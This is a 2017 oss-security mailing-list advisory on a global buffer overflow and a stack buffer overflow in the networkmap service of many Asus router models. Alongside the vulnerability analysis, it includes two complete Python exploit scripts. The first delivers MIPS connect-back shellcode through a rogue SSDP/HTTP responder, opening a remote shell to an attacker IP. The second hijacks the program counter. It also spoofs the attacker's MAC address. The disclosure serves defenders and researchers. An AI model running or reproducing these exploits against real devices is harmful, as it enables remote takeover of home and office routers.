Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <tencent_604D7B6374A98B9E75161D4B@qq.com>
Date: Wed, 12 Jul 2017 15:52:16 +0800
From: "逢坂河河、、" <598930392@...com>
To: "oss-security" <oss-security@...ts.openwall.com>
Subject: Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap

=============================================================
                                               Global buffer overflow
=============================================================

[Vulnerability]:
Global buffer overflow in networkmap


------------------------------------------
[Exploitation]:
Can write data at any address in heap


------------------------------------------
[Vendor of Product]:
Asus wireless router


------------------------------------------
[Affected Products and firmware version]:
Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6
RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U 	,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U 	,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53 	,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP 	,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+ 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378


------------------------------------------
[Attack Type]:
Remote


------------------------------------------
[Can Cause Denial of Service?]:
yes


------------------------------------------
[Reference]:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032
http://asuswrt.lostrealm.ca/
https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/  (chose the others can download the firmware sourcecode)
https://www.asus.com/Networking/Wireless-Routers-Products/


------------------------------------------
[Discoverer]:
Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/


------------------------------------------
[Affected components]:
Affected executable application: networkmap
Affected source code file: \release\src\router\networkmap\function.c
Affected function: store_description(char *msg)


------------------------------------------
[Vulnerability description]:
When the function process_device_repsonse of networkmap is parsing the 
SSDP answer from a device and the SSDP answer has indicated the location like:
	HTTP/1.1 200 OK
	Location:HTTP://host:port/path
If the "HTTP://host:port/path" is valid, the networkmap will get the 
device descirption xml by accessing "HTTP://host:port/path",and it will use 
the function store_description to store the device descirption information 
to global sturct device_info.
In the function store_description,there's no limit to the variable s_num,
so that it can cause the global sturct device_info overflow when copy the
data from tmp to description.service[s_num].url .


------------------------------------------
[Vulnerability details]:
In the \release\src\router\networkmap\function.c,
It define the global struct device_info description and the function store_description:
...
struct device_info description;
...
void store_description(char *msg)
{
		...
        int s_num = 0;
		...
		while( p!= NULL && p < body)
        {
		...
		switch(type)
		{
		...
        case 7:
            strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url));
            NMP_DEBUG_F("service %d url = %s\n", s_num, tmp);
            s_num++;
            break;
        }
        }
        ...
}


You can see that the s_num variable is incremented in case 7,
But in the while( p!= NULL && p < body),it never check the s_num variable.
And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info:
...
#define LINE_SIZE               200
#define SERVICE_NUM             10
struct service
{
        char name[LINE_SIZE];
        char url[LINE_SIZE];
};
struct device_info
{
        char friendlyname[LINE_SIZE];
        char manufacturer[LINE_SIZE];
        char description[LINE_SIZE];
        char modelname[LINE_SIZE];
        char modelnumber[LINE_SIZE];
        char presentation[LINE_SIZE];
        struct service service[SERVICE_NUM];
        int service_num;
};


Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description, 
when the s_num variable has be incremented and the s_num > 10,
the data copy to struct device_info description.service[s_num].url will overflow.


------------------------------------------
[Exploitation details]:
When the networkmap get the device descirption xml by accessing "HTTP://host:port/path",
we can respond a device descirption xml like:
<?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root>
the shellcode will be written to the memory that out of the global struct device_info description.


And then,because the memory maps for networkmap is:
admin@...N12HP_B1:/# cat /proc/$(pidof networkmap)/maps
00400000-0040a000 r-xp 00000000 1f:02 104        /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:02 104        /usr/sbin/networkmap
0041b000-00420000 rwxp 0041b000 00:00 0          [heap]
2aaa8000-2aaae000 r-xp 00000000 1f:02 733        /lib/ld-uClibc.so.0
2aaae000-2aaaf000 rw-p 2aaae000 00:00 0 
2aab0000-2aab6000 rw-s 00000000 00:07 0          /SYSV000003e9 (deleted)
2aab6000-2aaba000 rw-s 00000000 00:07 32769      /SYSV000003ea (deleted)
2aabd000-2aabe000 r--p 00005000 1f:02 733        /lib/ld-uClibc.so.0
2aabe000-2aabf000 rw-p 00006000 1f:02 733        /lib/ld-uClibc.so.0
2aabf000-2aaeb000 r-xp 00000000 1f:02 164        /usr/lib/libshared.so
2aaeb000-2aafa000 ---p 2aaeb000 00:00 0 
2aafa000-2aafe000 rw-p 0002b000 1f:02 164        /usr/lib/libshared.so
2aafe000-2ab0f000 rw-p 2aafe000 00:00 0 
2ab0f000-2ab11000 r-xp 00000000 1f:02 235        /usr/lib/libnvram.so
2ab11000-2ab21000 ---p 2ab11000 00:00 0 
2ab21000-2ab22000 rw-p 00002000 1f:02 235        /usr/lib/libnvram.so
2ab22000-2ab30000 r-xp 00000000 1f:02 732        /lib/libgcc_s.so.1
2ab30000-2ab40000 ---p 2ab30000 00:00 0 
2ab40000-2ab41000 rw-p 0000e000 1f:02 732        /lib/libgcc_s.so.1
2ab41000-2ab79000 r-xp 00000000 1f:02 728        /lib/libc.so.0
2ab79000-2ab89000 ---p 2ab79000 00:00 0 
2ab89000-2ab8a000 rw-p 00038000 1f:02 728        /lib/libc.so.0
2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0 
2ab8e000-2ab96000 r--s 00000000 00:0b 297        /dev/nvram
7fc20000-7fc35000 rwxp 7fc20000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 7fff7000 00:00 0          [vdso]


Both the Program address and the Heap address are not randomized and Continuous.
So when the global struct device_info overflow ,the shellcode could be write to 
the heap ,and the shellcode address in the heap is fixed and Controllable.


------------------------------------------
[exp.py]:
# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)


# coding=utf-8


ROUTER_IP = '192.168.2.1'	    #asus wireless router ip
IP = '192.168.2.31'		        #attacker ip
INTERACE = 'eth0'			    #attacker host network interface
CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode
								#the default connectback port is 30583
                                
import time
import socket
import sys
import os
import threading
import socketserver


sc = '<?xml><SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += b'\xff\xff\x04\x28'
sc += b'\xbb\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xfa\xff\x0f\x24'
sc += b'\x27\x78\xe0\x01'
sc += b'\xfd\xff\xe4\x21'
sc += b'\xfd\xff\xe5\x21'
sc += b'\xff\xff\x06\x28'
sc += b'\x57\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\xa2\xaf'
sc += b'\xff\xff\xa4\x8f'
sc += b'\xfd\xff\x11\x24'
sc += b'\x27\x88\x20\x02'
sc += b'\xe2\xff\xb1\xa7'
sc += b'\x77\x77\x0e\x24'
sc += b'\xe4\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34'
sc += b'\xe6\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24'
sc += b'\xe8\xff\xae\xa7'
sc += b'\xe2\xff\xa5\x27'
sc += b'\xef\xff\x0c\x24'
sc += b'\x27\x30\x80\x01'
sc += b'\x4a\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\x21\x28\x20\x02'
sc += b'\xdf\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\x10\x24'
sc += b'\xff\xff\x31\x22'
sc += b'\xfa\xff\x30\x16'
sc += b'\xff\xff\x06\x28'
sc += b'\x2f\x2f\x0f\x24'
sc += b'\xec\xff\xaf\xa7'
sc += b'\x62\x69\x0f\x24'
sc += b'\xee\xff\xaf\xa7'
sc += b'\x6e\x2f\x0e\x24'
sc += b'\xf0\xff\xae\xa7'
sc += b'\x73\x68\x0e\x24'
sc += b'\xf2\xff\xae\xa7'
sc += b'\xf4\xff\xa0\xaf'
sc += b'\xec\xff\xa4\x27'
sc += b'\xf8\xff\xa4\xaf'
sc += b'\xfc\xff\xa0\xaf'
sc += b'\xf8\xff\xa5\x27'
sc += b'\xab\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += '<></root>'


def mac():
    os.system('macchanger -A {}'.format(INTERACE))


os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))


class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):


    def handle(self):
        print('[-] got shellcode request')
        self.request.recv(1024)
        print("[-] sending shellcode")
        self.request.send(sc)


class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()


print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")


addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0'))


mac()
times = 0
state = 'Overflow'


while True:
    data, sender = s.recvfrom(1500)
    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSDP M-SEARCH Package")


        data = {}
        data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n'


        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        sock.sendto(data[state], sender)


        if state == 'Overflow':
            print("[-] Send the GetXmlRequest to router")
            time.sleep(20)
            os._exit(0)



=============================================================
                                               Stack buffer overflow
=============================================================


[Vulnerability]:
Stack buffer overflow in networkmap


------------------------------------------
[Exploitation]:
Can control the $pc.
Together with the above Global buffer overflow vulnerability,
can remote code execution and then get a connectback shell. 


------------------------------------------
[Vendor of Product]:
Asus wireless router


------------------------------------------
[Affected Products and firmware version]:
Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6
RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U 	,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U 	,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53 	,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP 	,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+ 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300 	,all the firmware,and the latest firmware is 3.0.0.4.380.7378


------------------------------------------
[Attack Type]:
Remote


------------------------------------------
[Can Cause Denial of Service?]:
yes


------------------------------------------
[Reference]:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032
http://asuswrt.lostrealm.ca/
https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/  (chose the others can download the firmware sourcecode)
https://www.asus.com/Networking/Wireless-Routers-Products/


------------------------------------------
[Discoverer]:
Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/


------------------------------------------
[Affected components]:
Affected executable application: networkmap
Affected source code file: \release\src\router\networkmap\function.c
Affected function: store_description(char *msg)


------------------------------------------
[Vulnerability details]:
When the function process_device_repsonse of networkmap is parsing the SSDP answer 
from a device and the SSDP answer has indicated the location like:
	HTTP/1.1 200 OK
	Location:HTTP://host:port/path
If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption 
xml by accessing "HTTP://host:port/path",and it will use the function store_description 
to store the device descirption information to global sturct device_info.


In the switch case 6 which in the function store_description:


    case 6: // tmp="urn:schemas-upnp-org:service:serviceType:v"
		mxend = tmp;
		i = 0; j = 0;
		while(i != 4)
		{
			if(i == 3)
			tmp[j++] = *mxend;
			if(*mxend == ':')
			i++;
			mxend++;
		}
		tmp[j-1] = '\0';
		strlcpy(description.service[s_num].name, tmp, sizeof(description.service[s_num].name));
		NMP_DEBUG_F("service %d name = %s\n", s_num, tmp);
		break;
						
if it couldn't found the fourth ':' in the stack, the stack buffer tmp will be overflow, 
and this stack-based overflow can be used to gain control over networkmap’s control flow 
by overwriting the saved $ra stored on the stack.


------------------------------------------
[Exploitation details]:
when answer the SSDP request, we can send the SSDP answer message like:
	'HTTP/1.1 200 OK\r\nLocation:HTTP://192.168.2.31:1337/' + 'B'*231 + b'\x41\x41\x41:' + '\r\n\r\n'
And When the networkmap get the device descirption xml by accessing "HTTP://192.168.2.31:1337/",
we can respond a device descirption xml like:
	<?xml><serviceType>AAAA<></root>
And then, after the code in case 6,the stack buffer tmp will be overflow,and the 
data start from stack buffer tmp will become 'B'*231 + b'\x41\x41\x41',
and it lead to the $ra and $pc being set to 0x00414141.


Now we can control the $pc by overwriting the saved $ra stored on the stack. 
For further exploitation,to get a ConnectBack shell,we can use the "Write data
at any address in heap" vulnerability which also in function store_description,
to write the ConnectBack shell shellcode on a fixed heap address,and then we 
can use this Code Execution vulnerability to let $pc be set as the ConnectBack shell shellcode address.


------------------------------------------
[exp.py]:
# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)


# coding=utf-8


ROUTER_IP = '192.168.2.1'	    #asus wireless router ip
IP = '192.168.2.31'		        #attacker ip
INTERACE = 'eth0'			    #attacker host network interface


import time
import socket
import sys
import os
import threading
import socketserver


sc = '<?xml>'
sc += '<serviceType>'
sc += b'AAAA' * 49
sc += 'AA<></root>'


def mac():
    os.system('macchanger -A {}'.format(INTERACE))


os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))


class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):


    def handle(self):
        print('[-] got xml request')
        self.request.recv(1024)
        print("[-] sending xml")
        self.request.send(sc)


class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()


print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")


addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0'))


mac()
times = 0
state = 'Overflow'


while True:
    data, sender = s.recvfrom(1500)
    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSDP M-SEARCH Package")


        data = {}
        data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/' + 'B'*231 + b'\xe0\xbb\x41:' + '\r\n\r\n'


        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        sock.sendto(data[state], sender)


        if state == 'Overflow':
            print("[-] Send the GetXmlRequest to router")
            time.sleep(20)
            os._exit(0)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.